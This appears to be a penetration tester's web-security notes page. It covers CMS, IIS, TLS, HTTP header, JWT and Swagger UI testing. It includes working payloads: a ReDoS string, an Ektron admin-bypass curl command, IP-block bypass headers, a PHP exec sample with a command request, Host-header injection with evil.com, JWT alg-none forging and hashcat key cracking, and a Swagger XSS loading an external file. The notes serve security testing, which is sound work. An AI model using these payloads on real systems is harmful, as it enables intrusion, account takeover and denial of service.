Spamming this endpoint might IP block you after a few tries. A 302 Found or a 200 OK response as a successful password reset. WPEngines 503 Service Unavailable or Cloudflares 520 response when IP blocked. Bypassing the IP block may be done with X-Forwrded-For or True-Client-IP header with no value.

Client-Side ReDOS

WordPress ships with an End-Of-Life component of zxcvbn that suffers from a Client-Side ReDOS (Regulr Expression Denial Of Service). This exploit will crash the client's web browser. However, if used Server-Side and injected into the server, this could potentially craash the whole web server. So far, I've only been able to exploit this Client-Side.

Exploit

  1. Navigate to the following URL:
https://example.com/wp-login.php
  1. Open the browsers built-in developer console and issue the following two commands:
attackStr = '\x00\x00' + ('\x00'.repeat(54773)) + '\n';
zxcvbn(attackStr);
  1. Note how the web browser crashes and is completely unusable

Rest Nonce

The rest nonce can be apart of additional chained exploitation. This is, broadly speaking, a 1-time CSRF-token.

Exploitation

As an authenticated user, the following GET request may be used to generate a new REST nonce token to be chained in other exploits:

/wp-admin/admin-ajax.php?action=rest-nonce

Nonce

This nonce value is sometimes reflected in the response header:

X-Wp-Nonce: 5bbcde1e4e

Gravatar Disclosure

Some WordPress applications have ties to "Gravatar" unless it is explicitly disabled on the WP app. You might be able to find a users gravatar profile picture by looking through the HTML source code.

https://secure.gravatar.com/avatar/{long_alphanumeric_value}

This Alphanumeric value is an MD5 hash of the user's email Address. With a large enough list of email addresses from data brokers and such, it is possible to try and crack this MD5 hash using HashCat or John The Ripper

Default .htaccess File

This is the current default WordPress .htaccess file (taken from a 5.1.1 version). Currently, as of what I know, there are no vulnerabilities with this code. Note the 4 commented out lines at the bottom. The lines may be enabled or edited by the admin. If these 4 lines have a hashtag and are untouched by an admin, this means that these lines are not enforced.

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

#php_value upload_max_filesize 64M
#php_value post_max_size 64M
#php_value max_execution_time 300
#php_value max_input_time 300

WPengine Hosted Instance

If you see a WPengine header anywhere, it's hosted on WPengine's website and therefore may have a secondary domain name. This could potentially bypass a WAF in some instances:

X-Powered-By: WP Engine

After crawling and clicking throught he application, search for wpengine and a link to it may be exposed within the source of the application.

https://<instance_name>.wpengine.com/

Plugin Source Code Review

To observe the source code of a plugin registered within WordPress plugin-store. Even if the plugin is technically "closed source" because the vendor never shared it on GitHub and is a payed software. See the following link:

https://plugins.trac.wordpress.org/browser/<PLUGIN>/

Episerver

Usually used for digital commerce and digital marketing. A vast majority of these CMSes are run on a Windows but they can be run on Linux as well. However, this is less likely.

EpiServer Documentation

Login Page

/Util/login.aspx

Redirects to login page

If the above link does not work and the developers changed the path of the login page, one of the following may redirect to the correct path to find the login page:

/episerver/CMS
/episerver
/logs

EpiServer Ektron

Ektron CMS 9.20 SP2 allows remote attackers to call aspx pages via the activateuser.aspx page, even if a page is located under the /WorkArea/ path, which is forbidden and normally available exclusively for local Admins

Exploit

Sending a Referer header to the /WorkArea/activateuser.aspx endpoint, an attacker could access administrative pages.

curl -skH "Referer: TEST;" https://<vulnerable>/WorkArea/activateuser.aspx

Link to CVE-2018–12596

Episerver Find

A Unvalidated Redirect vulnerability in EpiServer Find <=13.2.7 allows an attacker to redirect users to untrusted websites via the _t_redirect parameter in a crafted URL, such as a /find_v2/_click URL.

Exploit

https://<vulnerable>/find_v2/_click?_t_id=&_t_q=&_t_hit.id=&_t_redirect=https://www.example.com

Link to CVE-2020-24550

IIS

IIS stands for Internet Information Services and is a webserver powered on a Windows. 99% of the time, this will be run on a Windows, but it is possible for a Linux machine to emulate this instance.

Vulnerable Directories

These directories may not be default, but are very valuable for an adversary.

Default Home Page

/default.asp
/default.aspx
/home.asp

AD or DC Login Page

An endpoint with the possibility to redirect the end user to the Domain Controller or the Active Directory login page.

/signin-oidc

Frontpage authors.pwd Available

The file _vti_pvt/authors.pwd can be read. This file contains sensitive information and should not be available.

/_vti_pvt/authors.pwd

Error Logging Modules and Handlers

ELMAH (Error Logging Modules and Handlers) is an application-wide error logging facility that is completely pluggable. It can be dynamically added to a running ASP.NET web application, or even all ASP.NET web applications on a machine, without any need for re-compilation or re-deployment. If ELMAH is not properly configured, the elmah.axd handler can be accessed with no authentication. This page will list all the error messages generated by the web application and may disclose sensitive information to an attacker. Even session cookies which could be used in an account takeover. Sending a %, < or > may cause a 400 response, adding to the ELMAH log and therefore being good proof of concept for stealing useraccounts.

/elmah.axd

Elmah Sample Image

Global Files

The Global.asa file is an optional file in which you can specify event scripts and declare objects that have session or application scope. It is not for content that is displayed to clients; instead it stores event information and objects used globally by the application. This file must be named Global.asa (or Global.asax for ASP.NET) and must be stored in the root directory of the application.

Global.asa file is not normally accessible as the web server restricts access to this file. Global.asa file may contain sensitive information such as database credentials, sensitive source code snippets and it's recommended to restrict access to this file.

/Global.asa
/Global.asax

Trace File

ASP.NET include a debug file which is called trace.axd. It keeps a very detailed log of all requests made to an application over a period of time. This information includes remote client IPs, session IDs, all request and response cookies, Internal paths, source code information, and potentially even usernames and passwords.

/trace.axd

Trace.axd Sample Image

Debug Mode

In some instances debug mode have been enabled and on an ASP.NET application which allow for an attacker to receive additional information about the application. The Command: stop-debug header is essential for this to work.

Execution

curl -ikX 'DEBUG' -H "Command: stop-debug" http://example.com/
DEBUG / HTTP/1.1
Host: example.com
Command: stop-debug

If the website returns 200 OK, then debug mode is enabled. The website will return 403 Forbidden if debug is turned off.

HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: true
Access-Control-Allow-Credentials: IE=11
Date: Fri, 08 Jul 2022 11:39:56 GMT
Content-Length: 2

OK

Tilde Shortname

The Shortname vulnerability exists by default on IIS hosted websites in order to maintain compatibility with legacy software. For some reason, Microsoft do not see this as a vulnerability. Similar to WordPress not seeing XMLRPC pingback function as a vulnerability. It's up to the administrator, themselves, to resolve this issue.

Tilde Shortname Scanner GitHub

Issue

An attacker may be able to enumerate the first six characters of files and folders as well as the first three characters of the file extension.

Syntax

java -jar iis_shortname_scanner.jar 2 20 http://example.com/
java -jar iis_shortname_scanner_jdk7.jar 2 20 https://example.com/

NTLM SSP Authentication

One may have encountered a Basic Authentication when navigating to a certain restricted path on a website. This explains how an adversary may receive some information about the webserver that runs the application!

Structure Image

Exploitation

  1. Navigate to a URL protected by a Basic Authentication

Basic Authentication Image

  1. Send in incorrect credentials (testing used admin:admin) and note the WWW-Authenticate header in the response:

NTLM Response Image

  1. If not already installed in burp - Use NTML Challenge Decoder Extension or NTML-info Extension to aid in the decoding of the value received:

Internal Info Image

Other

Some stuff, that needs more researching and testing will be added here. These may be unreliable due to the insufficient research. The goal of this page is to just shed some light in new research topics that may or may not be of interest.

Basic Authentication Bypass

IIS 6.0 and IIS 7.5 may be vulnerable to a Basic Authentication Bypass if configured improperly.

/admin:$i30:$INDEX_ALLOCATION/admin.php
/admin::$INDEX_ALLOCATION/admin.php

Amazon Web Services (AWS)

  1. Applications hosted here requires a User-Agent header
  2. Sending a request with an arbitrary User-Agent value through HTTP/1.0 like the sample below, will expose the URL where the application is hosted (within the Location header response)
GET / HTTP/1.0
User-Agent: Hello

Space Directory

The Atlassian Confluence directory list may be accessible unauthenticated, and contains information that may be sensitive in certain contexts.

Exploit

Navigate to the following directory:

/spacedirectory/view.action

ExpressionEngine

Under the best practices, the vendor recommend to move the login outside the publicly accessible folders. To rename admin.php and create proper .htaccess files

Administrative Interface

By navigating to /system/, it tends to forward the client to this path

/system/index.php?/cp/login

Control Panel Login

/admin.php

Login

/member/login

Registration Page

/member/register
/member/registration

Forgotten Password

/member/forgot_password

Log File

/system/user/cache/ee_update/update.log

Configuration File

/system/user/config/config.php

Backup File Location

/system/user/cache/ee_update/backups/

SharePoint

Organizations use Microsoft SharePoint to create websites. You can use it as a secure place to store, organize, share, and access information from any device.

Default Directories

An attacker can access this file to disclose FrontPage configuration information which may be used in further attacks against the application.

/_vti_inf.html

The web server exposes certain .CNF files, allowing remote access configuration information. This is usually not the default configuration.

/_vti_pvt/service.cnf

Description

Here are some paths that may reveal the CMS technology or potential Umbraco version

  • /app_plugins/ - If you have Umbraco plugins installed and this folder is visible, the CMS technology is revealed
  • /umbraco/config/lang/en.xml - This file can be used to discover the Umbraco CMS as well as the Umbraco version
  • /Umbraco/ - Navigting here will most likely give you the Administrative Login Page

It is Windows hosted webserver with ASP.NET webserver technology.

List

Saved a list of some kind. Not tested Umbraco too much but will update this one day

/default.aspx
/default.css
/default.js
/webedit.css
/*.asax
/*.config
/app_browsers/
/app_plugins/
/config/grid.editors.config.js
/umbraco/config/lang/en.xml
/umbraco/Application/Extensions.js
/umbraco/Application/UmbracoApplicationActions.js

What is Transport Layer Security (TLS)?

Transport Layer Security, or TLS, is a widely adopted security protocol designed to facilitate privacy and data security for communications over the Internet. A primary use case of TLS is encrypting the communication between web applications and servers, such as web browsers loading a website. TLS can also be used to encrypt other communications such as email, messaging, and voice over IP (VoIP).

What is the difference between TLS and SSL?

TLS evolved from a previous encryption protocol called Secure Sockets Layer (SSL), which was developed by Netscape. TLS version 1.0 actually began development as SSL version 3.1, but the name of the protocol was changed before publication in order to indicate that it was no longer associated with Netscape. Because of this history, the terms TLS and SSL are sometimes used interchangeably.

What is the difference between TLS and HTTPS?

HTTPS is an implementation of TLS encryption on top of the HTTP protocol, which is used by all websites as well as some other web services. Any website that uses HTTPS is therefore employing TLS encryption.

CloudFlare Link about TLS

Client-Initiated Renegotiation

Establishing a secure TLS/SSL connection requires a lot more processing power on the server than it does on the client. This asymmetry can be exploited by an attacker to initiate an overwhelming amount of renegotiations which would drain the resources of the server and potentially lead to a denial of service.

TLS Timeline

PoC

  1. Execute the following command into the terminal:
openssl s_client -connect example.com:443 -msg
  1. When the connection is made, enter a capital R and hit enter
  2. Note that the server responds with the connection output again, accepting the renegotiation

TLS

Outdated versions might occur on older applications and allow an attacker to eavesdrop on the client-server communication. SSLscan or OpenSSL are good scanning tools for this.

sudo apt-get install sslscan

The last part in the syntax -tls1 can be switched to -tls1_1, -tls1_2, -tls1_3 depending on which version you want to test individually.

Syntax

openssl s_client -connect www.example.com:443 -servername www.example.com -tls1
openssl s_client -connect www.example.com:443 -servername www.example.com -tls1_1
openssl s_client -connect www.example.com:443 -servername www.example.com -tls1_2

Weakly Encrypted Ciphers

This might occur on applications and allow an attacker to eavesdrop on the client-server communication. unsafe-ssl is a good script to use and can be installed with the apt command. The normal OpenSSL does not support ciphers which is the stuff we will be testing in this section.

The last part in the syntax -tls1 can be changed to -tls1_1, -tls1_2, -tls1_3 depending on which version you want to test individually.

Syntax

Note: Sweet32 -tls1_2 or -tls1_3 is NOT vulnerable to the same stuff as -tls1 and -tls1_1

  • Sweet32
openssl s_client -cipher "DES-CBC3-SHA" -connect www.example.com:443 -servername www.example.com -tls1
  • RC4
openssl s_client -cipher "RC4-SHA" -connect www.example.com:443 -servername www.example.com -tls1
  • Logjam
openssl s_client -cipher "DHE-RSA-AES128-SHA" -connect www.example.com:443 -servername www.example.com -tls1

User Enumeration

A way for an attacker to see which usernames / email addresses are in use or are registered within the application.

Different Types of Enumeration

  • Response Differences In this instance, messages tend to differ from a registered user to a non-registered user. e.g This user does not exist | Credentials for user: Admin, is incorrect
  • Time-Based Differences Depending on how the back-end is configured, this tend to vary. For example; A non-registered user tend to stay between 100ms - 150ms if dummy credentials are provided. Meanwhile a registered user with dummy password given, will come back as 500ms - 800ms which is a clear indicator that the user does exist. It happens when the database checks the user given before the password used to sign in. Remember to check the Time-Based Enumeration Graph to get a sexy chart and a nice overview!

Where do user enumeration occur?

  • Login Forms
  • Register Forms
  • Change username/email Forms

Loaded Components

To see if a loaded component is active on a page. Press F12 or CTRL + Shift + K to open up the Developer Console and paste it into the console. Here you may see the version of a loaded component and potentially exploit the vulnerable component. Two browser-plugins that may be of help is Wappalyzer and Retire.JS.

Loaded Component Image

jQuery

jQuery.fn.jquery
$_
_jQuery.fn.jquery_
jQuery().jquery
$.prototype.jquery
$.fn.jquery
ajq.fn.jquery

jQuery UI

jQuery.ui.version
$j.ui.version
$.ui.version
$.ui

Bootstrap

jQuery.fn.tooltip.Constructor.VERSION
$.fn.tooltip.Constructor.VERSION
$.fn.alert.Constructor.VERSION
$.fn.button.Constructor.VERSION
$.fn.carousel.Constructor.VERSION
$.fn.collapse.Constructor.VERSION
$.fn.dropdown.Constructor.VERSION
$.fn.modal.Constructor.VERSION
$.fn.popover.Constructor.VERSION
$.fn.scrollspy.Constructor.VERSION
$.fn.tab.Constructor.VERSION
$.fn.transition.Constructor.VERSION

AngularJS

Supported Versions

angular.version.full
getAllAngularRootElements()[0].attributes["ng-version"]; 

jQuery Migrate

jQuery.migrateVersion

jQuery Mobile

$.mobile.version

jQuery PrettyPhoto

jQuery.prettyPhoto.version

DOMPurify

DOMPurify.version

TinyMCE

tinymce.majorVersion + '.' + tinymce.minorVersion

Moment

moment.version

Axios

axios.VERSION

Hammer.js

Vendor Not Maintained Anymore

Hammer.VERSION

D3

d3.version

Fabric.js

fabric.version

Vue

Vue.version

MooTools

MooTools.version

Velocity

jQuery.Velocity.version

Xregexp

XRegExp.version

Apollo Client

Documentation

__APOLLO_CLIENT__.version

Yahoo YUI

YAHOO.VERSION

BackBoneJS

Backbone.VERSION

HandlebarsJS

Handlebars.VERSION

PrototypeJS

Prototype.Version

Sarissa

Sarissa.VERSION

CKeditor

CKEDITOR.version

Lodash

_.VERSION

Underscore.js

_.VERSION

React

React.version

Modernizr

Modernizr._version

Adobe Experience Manager

window.digitalData.page.solution

Adobe Client Data Layer

adobeDataLayer.version

Knockout

ko.version
console.log(ko.version)

Dojo

dojo.version
[dojo.version.major, dojo.version.minor, dojo.version.patch].join(".");

Ext JS

Support Page

Ext.version
Ext.versions.core.version

DataTables

$.fn.dataTable.version
jQuery.fn.dataTable.version
jQuery.fn.dataTableExt.sVersion

Swagger-UI

Please check Swagger UI for more!

JSON.stringify(versions)

Core-js

core.version

Kendo UI

kendo.version

SignalR

$.signalR.version

Require.js

require.version

Highcharts.js

Highcharts.version 

PDF.js

PDFJS.version

SWFObject

I have seen an SWFSound too, but never got the version

swfobject.getFlashPlayerVersion()
deconcept.SWFObjectUtil.getPlayerVersion()

GASP

gsap.version

ZURB Foundation

Foundation.version

Toastr

Vendor Github

toastr.version

Boomerang.js

BOOMR.version

PDF.JS

PDFJS.version

Anime.js

anime.version

HubSpot WordPress Plugin

leadin_wordpress.leadinPluginVersion

Recurly

recurly.version

Next.js

next.version

Numeral.js

numeral.version

MediaElement.js

mejs.version

Elementor

elementorFrontendConfig.version 

File Upload

File uploads are one of the most common ways to get an RCE on a website.

File Upload Extension Splitting Cheatsheet

Extension Splitting Cheatsheet

PHP Source Code Review

This will explain how to quickly search though the backend Source Code of an application. Such as user controlled HTTP parameters that goes through dangerous functions, such as EXEC that could potentially execute code for an RCE!

Note: Good tools to use are GitTools for extracting a found .git repository, and GitLeaks to quickly and easily find hidden keys or secrets, credentials etc within this repository!

Extracting Vulnerable Code

Try to see where user defined input parameters are sent to vulnerable functions. A sample of vulnerable functions may be these where Code Execution might be possible if not sanitized properly:

eval()
assert()
preg_replace()
create_function()

A sample of vulnerable PHP code could look like this in the backend, located at /wp-content/uploads/2023/09/vulnerable.php:

<?php exec($_POST('parameter_name'));?>

In this instance, one could create a POST request towards the following endpoint, to attempt to execute arbitrary code on the webserver:

POST /wp-content/uploads/2023/09/vulnerable.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded

parameter_name=whoami

Github - Grep Syntaxes

This will search for vulnerable PHP code

  • The dot at the end of the grep syntax will search within this current directory.
  • The -R flag is recursive - This searches through the whole branch recursively
  • The -i flag removes case sensitivity

Cross-Site Scripting

Anything Echo Related

grep -Ri "echo" .

Anything related to GET, POST or requests

grep -Ri "\$_" . | grep "echo"

Related to GET requests

grep -Ri "\$_GET" . | grep "echo"

Related to POST requests

grep -Ri "\$_POST" . | grep "echo"

Related to requests

grep -Ri "\$_REQUEST" . | grep "echo"

Code execution:

grep -Ri "eval(" .
grep -Ri "assert(" .
grep -Ri "preg_replace" . | grep "/e"
grep -Ri "create_function(" .

SQL injection:

grep -Ri "\$sql" .
grep -Ri "\$sql" . | grep "\$_"

Information Disclosure:

grep -Ri "phpinfo" .

Debug/Test modes:

grep -Ri "debug" .
grep -Ri "\$_GET['debug']" .
grep -Ri "\$_GET['test']" .

Local File Inclusion / Remote File Inclusion:

grep -Ri "file_include" .
grep -Ri "include(" .
grep -Ri "require(" .
grep -Ri "require(\$file)" .
grep -Ri "include_once(" .
grep -Ri "require_once(" .
grep -Ri "require_once(" . | grep "\$_"

Misc:

grep -Ri "header(" . | grep "\$_"
grep -Ri '$_SERVER["HTTP_USER_AGENT"]' .

Path Traversal:

grep -Ri file_get_contents .

Learn More!

Real World Example

  1. Found an exposed git repository and used GitTools to extract the source code. Noted that it contained the backend source code for a custom made WordPress Theme
  2. After it was extracted and dumped into a separate folder, I went to the most recent commit. The larger the number, before the hash, the newer it is
  3. Used the GREP command to to find vulnerable PHP code and got a hit GitTools Sample Here we may see that it contains the parameter name class within the /wp-content/themes/<THEME_NAME>/front-page.php. At first, I thought that the class parameter must be sent through that endpoint specifically, but when navigated to, I was met with a 500 Internal Server Error. By taking a closer look within the front-page.php file, we could see this vulnerable PHP code:
<?php get_header(); ?>
<div class="c-intro <?php echo $_GET["class"]; ?>">
    <div class="c-intro__logo"></div>
</div>
  1. An attempt was made to test it out in the root folder to see if it was reflected, and it worked! Burp Request Sample 1
  2. By testing this payload out on the root folder, we could see that the the PHP was totally unsensitized! BOOM!! It worked!! Burp Request Sample 2

Why did it work? My guess is that the /index.php calls for the theme /wp-content/themes/<THEME_NAME>/front-page.php (where the vulnerable code existed) and therefore uses the unsanitized GET parameter class. Because the git repo was downloaded, I only had access from /wp-content/* folder and onwards. This is why I "assume" about the index.php because I cannot see the source code further back in the directory of the application.

  1. What to do now? Well, because this is within a Theme, I fuzzed the whole application by going to Target > Right-Click the target and "Copy All URL's in Host". Make a proper wordlist of all URL's within the application and fuzz it! This had sadly no further success and I did not find any more vulnerable endpoints on the application.

DS_Store & Thumbs.db

You might have stumbled across this file when crawling or exploring websites. Apple's operating system creates this file in apparently all directories to store meta information about its contents. In fact, it contains the names of all files and directories within the folder the metafile existed in. The equivalent metafile within a Microsoft Windows machine might be considered the desktop.ini or Thumbs.db.

Due to the fact that .DS_Store is prefixed with a dot, it is hidden from MacOs' Finder, so Mac-developers might not be aware of its existence in the first place. Furthermore, the file format is proprietary and not much documentation about it is available online.

DS_Store Wiki Link

How to parse a .DS_Store file?

By using Python-dsstore

  1. Navigate to the Python-dsstore folder
  2. Download the .DS_Store file (It's hidden due to the file beginnign with a dot. Use ls -la)
wget https://example.com/assets/.DS_Store
  1. Input the .DS_Store file as an input to the main.py script
python3 main.py .DS_Store

Example result

Count:  3
documents
documents
documents

This tells me that the next file or folder is documents. A good thing to do, is to navigate to this endpoint and check for more metadata files!

https://example.com/assets/documents/.DS_Store

Filter Testing

Inserting this in a parameter, may reflect dangerous characters. A good way to see which characters are filtered and what-not which could lead to XSS, LFI, SSTI or other types of attacks!

'';!--"<XSS>=&{()}
qwe'" <x</{{[7*7]}}

image

Header Exploitation

Headers are used on all websites, but in some instances, an administrator or developer may have misconfigured the application and allow certain headers which it shouldn't. Not only that but some proxies, when handling the requests before they arrive to the backend, may interpret the headers differently and in result, give you access to pages you aren't supposed to access.

What Can I Do With Headers?

In some cases if certain headers are enabled, this could for example lead to:

  • Bypassing an IP block
  • Redirect the user to a different web application
  • Bypass restrictions and, for example, reach admin panels that normally isn't accessed
  • Make a malicious web application to force a user of a victims application to share data to the malicious web application

Tools

Yes, there is a Burp Extension called Param Miner to help brute force those hidden easter-egg headers. Nikto works too but in my experience, too many false positives.

Header Examples

Keep in mind, some IP related headers may be able to have a value of a domain eg. www.google.com or www.internal.example.com.

IP-related Headers

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded:  127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Scheme: 127.0.0.1
X-HTTP-Host-Override: 127.0.0.1
Forwarded: for=127.0.0.1

Path-related Headers

X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console

Other headers

X-Host:
X-Real-IP:
X-Forwarded-For: collaborator.com
X-Forwarded-Host: collaborator.com
X-Originating-IP: 127.0.0.1
X-Forwarded-Server:
X-Forwarded-Scheme:
X-HTTP-Host-Override:
Forwarded:
Origin: https://example.com

Unvalidated redirect via Host Header

Note the URL does not end with a trailing / to try and force a redirect, assuming the assets directory exists on the application. Change www.example.com to the attackers website and note the redirect in the Location header. Sometimes partial restrictions are set and may therefore be tested both via HTTPS and HTTP protocol.

  • Original:
GET /assets HTTP/1.1
Host: www.example.com
  • Edited:
GET /assets HTTP/1.1
Host: www.evil.com

Internal Disclosures via HTTP/1.0

Internal IP disclosures or Internal Host Names can reveal other entities on the local network to gain additional information about the internal infrastructure

On some websites, the request below may reveal an IP address in the Location header or exposing potential headers that usually do not appear in general requests. Send the following request without a Host header. In Burp, make sure it's set to HTTP/1.1 and not HTTP/2 or burp will change it to HTTP/2 by its own. Try both HTTP and HTTPS. As long as it's towards a 3xx redirect endpoint, it should be fine!

GET /assets HTTP/1.0

Sometimes the target website is not self hosted and is hosted on Amazon Web Services. Therefore an AWS instance might show up!

HTTP Pipelining

Back in the days when internet was slow and HTTPS weren't often used, people didn't use pipelining. But when HTTPS were introduced, it slowed down users user experience a lot.

HTTP Pipelining Chart

Without pipelining, a new TCP connection is created for each element that is requested from a webpage. For example a user is navigating to /myBio.html. Here the page requests two images and a JavaScript file. Due to thousands of people using a websites, it all got slow in combination with HTTPS because a new TCP connection was opened for each individual request to the webserver. In this instance two TCP connections are opened for the two photos, one for the JavaScript file and another for the html file /myBio.html. This dramatically slows the webserver down back in the days when everyone had a slow internet connection.

However, by using this 1 TCP connection, each subsequent request have to be completed for the TCP connection to be closed when using HTTP pipelining. So effectively, we are able to smuggle inside more requests into the server through one singular connection, making it work hard to give us the requested content.

In todays day and age, the average person has a fast internet connection speed and therefore pipelining is not particularly effective. This optimization technique is generally not recommended and is mostly seen as a security issue. There are better optimization and speed enhancing techniques that are a safer option.

Exploiting

By starting a new request within the same request, the webserver, concatenates each response to one massive response. In theory, an adversary could consume all available TCP connections and thus cause a Denial of Service. By requesting, for example, a very large file such as a video, I've managed to make the response complete at a surprising 180+ seconds.

In some instances, some websites have set a timeout for how long a connection can be open. Apache keeps it at 300 seconds by default.

However, I have never managed to do a significant impact with this but have read some articles about some exploits involving HTTP pipelining somewhere.

Required for exploitation

  1. The type of connection must be HTTP/1.1. If HTTP/2 is used, untick it at Settings > Network > HTTP > Untick HTTP/2
  2. Untick Update Content-Length in Repeater tab

Request

GET /scripts HTTP/1.1
Host: www.example.com

GET /scripts HTTP/1.1
Host: www.example.com

GET /scripts HTTP/1.1
Host: www.example.com

HTTP Pipelining Burp Request

JWT Tokens

  • Link to PortSwigger JWT, or JSON Web Token is a form of an authentication token we use. Like a session cookie, but the data is stored within the JWT token itself.

JWT Token Sample

Here is a sample payload. I'd recommend JWT.io

eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvcyBNb250b3lhIiwic3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haWwiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ.SYZBPIBg2CRjXAJ8vCER0LA_ENjII1JakvNQoP-Hw6GG1zfl4JyngsZReIfqRvIAEi5L4HV0q7_9qGhQZvy9ZdxEJbwTxRs_6Lb-fZTDpW6lKYNdMyjw45_alSCZ1fypsMWz_2mTpQzil0lOtps5Ei_z7mM7M8gCwe_AGpI53JxduQOaB5HkT5gVrv9cKu9CsW5MS6ZbqYXpGyOG5ehoxqm8DL5tFYaW3lB50ELxi0KsuTKEbD0t5BCl0aCR2MBJWAbN-xeLwEenaqBiwPVvKixYleeDQiBEIylFdNNIMviKRgXiYuAvMziVPbwSgkZVHeEdF5MQP1Oe2Spac-6IfA

JWT's always start with eyJ and is encoded in Base64 (Except for the dots separating the header, payload and verify signature)

Exposed Secret Directory

There may be an exposed secret used to construct the signature in a JWT-token within the following directory on your target application:

/.well-known/jwks.json

DIFFERENT EXPLOITATIONS

Exploiting flawed JWT signature verification

It is possible to change the payload without changing the Header or Signature. Taking the base64 encoded text between the Header and Signature and decode it, you will see something similar to {"isAdmin":"false"}. Change the value to true, encode the payload in base64 and smuggle it in with the same Header and Signature and see if you've managed to privilege escalate.

Accepting tokens with no signature

It is possible to change the JWT Header where the Algorithm is changed to "none" (can be "None", "NoNe", "nONE" etc...) to confuse the webserver in case "some" protection is in place. {"alg": "HS256","typ": "JWT"} -> {"alg": "none","typ": "JWT"}. It also works to remove the alg completelt and remain as {"typ": "JWT"}. All signature checks can break in different ways! Remember to also remove the whole base64 encoded Signature (NOT including the dot before the Signature) Conclusion, the whole string should end with one trailing dot in the end of the string without a signature.

eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvcyBNb250b3lhIiwic3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haWwiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ.

Brute-forcing secret keys

Some signing algorithms, such as HS256 (HMAC + SHA-256), use an arbitrary, standalone string as the secret key. Just like a password, it's crucial that this secret can't be easily guessed or brute-forced by an attacker. Otherwise, they may be able to create JWTs with any header and payload values they like, then use the key to re-sign the token with a valid signature.

When implementing JWT's in applications, developers sometimes make mistakes like forgetting to change default or placeholder secrets. They may even copy and paste code snippets they find online, then forget to change a hardcoded secret that's provided as an example. In this case, it can be trivial for an attacker to brute-force a server's secret using a wordlist of well-known secrets.

hashcat -a 0 -m 16500 <jwt> <wordlist>

Once the secret key is found, try JWT.io, add the secret and edit the JWT to your desire.

JWT header parameter injections

According to the JWS specification, only the alg header parameter is mandatory. In practice, however, JWT headers (also known as JOSE headers) often contain several other parameters. The following ones are of particular interest to attackers.

  • jwk (JSON Web Key) - Provides an embedded JSON object representing the key.
  • jku (JSON Web Key Set URL) - Provides a URL from which servers can fetch a set of keys containing the correct key.
  • kid (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Depending on the format of the key, this may have a matching kid parameter. Be sure to try and use the JWT Editor Keys Extension in Burpsuite!

SwaggerUI

Swagger UI is an API documentation for a user to easier understand the inner functions of an API. This does not mean that it's bad, but it could reveal sensitive information and because an attacker may understand the API and see all the endpoints and functions, it may therefore be easier to exploit! One could, for instance, find an endpoint saying that sending a GET request towards /api/B47DahG539DdY32A/users may expose all users within the API completely unauthenticated if the victim doesn't check for an authentication. If one were to look into Swagger UI Snyk vulnerabilities, one may see that all Swagger UI's are vulnerable all the way up to version 4.1.2.

Directories

When researching this, it seem like there aren't any "exact" default path's for the documentation. It may be different on every application. In the list below are a few I've encountered and are included in my swagger.txt wordlist

/swagger/index.html
/swagger/index.jsp
/v2/swagger.json
/swagger.yaml
/swagger
/api
/api/doc
/docs
/docs/index.php
/swagger-ui.html

This can also be renamed to something, but usually after any /api/ directory

/api/renamed/swagger

Google Dorking/Hacking

This will find you Swagger UI. Change example.com to target website

intext:"Swagger UI" intitle:"Swagger UI" site:example.com

Swagger UI Version Check and Internal Hostname

What I discovered on an application is that, if successful, is a potential internal hostname disclosed. This came from the JS file /swagger-ui/swagger-ui-bundle.js which was called upon, due to swagger UI component being loaded, with the paylaod below (see this GITHUB ISSUE for info):

JSON.stringify(versions)

Here is an Internal hostname, but because it is an old webserver, it exposes the internal IPv4 address due to the developers naming it like this (It was not uncommon to name the internal hostname the local IPv4 address "back in the olden days"):

Swagger Version and Hostname Image

If you notice that multiple swaggers have the same hostname, it may be that the admin have used a docker and therefore most likely may have the same internal hostname as other people using the same docker.

Potential CMS fingerprinting

When researching where the above values came from, I noted these two URL paths coming from 2 different websites (same customer). Take specifically note of the nelmioapidoc and apiplatform values. When googling on them, it mentions Symfony CMS and therefore may be a way to fingerprint Symfony (Needs more research):

/bundles/nelmioapidoc/swagger-ui/swagger-ui-bundle.js
/bundles/apiplatform/swagger-ui/swagger-ui-bundle.js

This "disclosure" may not be on every Swagger UI documentation. The JS files may need more research. But as of now, I have seen it on a couple of Swagger Documentations and it "seems" to be by default!

XSS

Sometimes there are risks having Swagger UI. Here are some ways to Exploit an XSS! By appending the following parameter and an externally hosted YML file, to the swagger API, it is possible to perform an XSS:

?configUrl=https://jumpy-floor.surge.sh/test.json
?url=https://jumpy-floor.surge.sh/test.yaml

Swagger xss Image

